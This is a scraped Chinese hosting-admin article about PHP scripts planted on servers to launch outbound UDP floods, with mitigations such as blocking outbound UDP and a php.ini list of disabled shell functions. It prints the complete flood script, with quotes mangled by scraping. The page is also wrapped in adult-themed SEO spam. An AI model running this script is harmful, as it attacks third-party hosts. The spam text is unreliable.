国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 網站 > 建站經驗 > 正文

php對外發包引發服務器崩潰的終極解決方法分享[推薦]

2019-11-02 16:09:22
字體:
來源:轉載
供稿:網友
一、php對外發包分析

用php代碼調用sockets,直接用服務器的網絡攻擊別的IP,常見代碼如下:

復制代碼 代碼如下:

$packets = 0;

$ip = $_GET[/'ip/'];

$rand = $_GET[/'port/'];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET[/'time/'];

$time = time();

print /"Flooded: $ip on port $rand

/";

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= /"X/";

}

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen(/"udp://$ip/", $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo /"Packet complete at /".time(/'h:i:s/')./" with

$packets (/" . round(($packets*65)/1024, 2) . /" mB) packets averaging /".

round($packets/$exec_time, 2) . /" packets/s //n/";

?>

二、表現特征

一打開IIS,服務器的流出帶寬就用光-----就是說服務器不斷向別人發包,這個情況和受到DDOS攻擊是不同的,DDOS是服務器不斷收到大量數據包.

近期由于DEDECMS出現漏洞而導致大量服務器出現這個問題.

如何快速找到這些站?

你可以打開日志

C:/Windows/System32/LogFiles/HTTPERR/httperr...log,打開今天時間的文件,

里面有類似這樣的記錄:

2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1

最后三項 783 Disabled 30_FreeHost_1

783就是這個站在IIS中的ID

30_FreeHost_1就是所在池

三、解決辦法

1.按上述找到這個網站后停止它.或停止池,并重啟IIS.

2.在IP策略,或防火墻中,禁止所有udp向外發送

在星外最新版本的安全包中,已帶有4.0版本的IP策略【下載safe包】,您導入后就直接可以限制了外發的UDP包。下載這個包,之后導入安全策略。但這個策略并沒有關閉DNS端口,部分攻擊還是有效.

為了解決這個問題,你也可以調整IP策略,限制udp只能訪問特定的DNS服務器IP,如8.8.8.8,除非黑客攻擊這個IP,不然攻擊也是無效的,你可以在網卡DNS中設置一個你才知道的DNS IP,并且不要公開,然后調用IP策略中的udp open部分就可以解決.(打開IP策略的屬性,雙擊open,將open中的兩條udp記錄刪除任意一條,在保留的這條中,雙擊,改成 地址 從源地址 任何地址 到目標地址 "特定IP 這個IP就是設置為你自己的DNS IP,如8.8.8.8" 保存后就行了 )

在2011-4-27,我們上傳了新的安全包,里面有一個"星外虛擬主機管理平臺IP策略關閉所有UDP端口用.ipsec"文件,您可以導入它并啟用,就可以關閉所有udp端口,就可以完全防止這類攻擊,但是,這個策略由于關閉了DNS端口,會造成的這臺服務器上無法用IE訪問任何域名,因此,用戶的采集功能也就用不了.(同樣,如果在主控網站上用了這個策略,就會造成的受控自檢不通過,因為解析不了域名,另外,部分用戶反映此策略會造成的mysql不正常)

3.用一流信息監控,在SQL攔截及網址攔截中,攔截port=這個關鍵詞(其他關鍵詞可以刪除.)

4.也可以直接禁止上面的代碼,如改win/php.ini后重啟IIS

ignore_user_abort = On

(注意前面的;號要刪除)

disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 克拉玛依市| 天台县| 广平县| 霍林郭勒市| 琼海市| 瓮安县| 老河口市| 皮山县| 长丰县| 洞口县| 织金县| 乐陵市| 南涧| 龙南县| 电白县| 菏泽市| 彭阳县| 文山县| 台前县| 开化县| 台南市| 府谷县| 乐昌市| 房山区| 高唐县| 长汀县| 呈贡县| 弥勒县| 重庆市| 佛坪县| 会泽县| 灵宝市| 东乡| 会昌县| 香格里拉县| 丹寨县| 普安县| 大竹县| 察哈| 囊谦县| 彩票|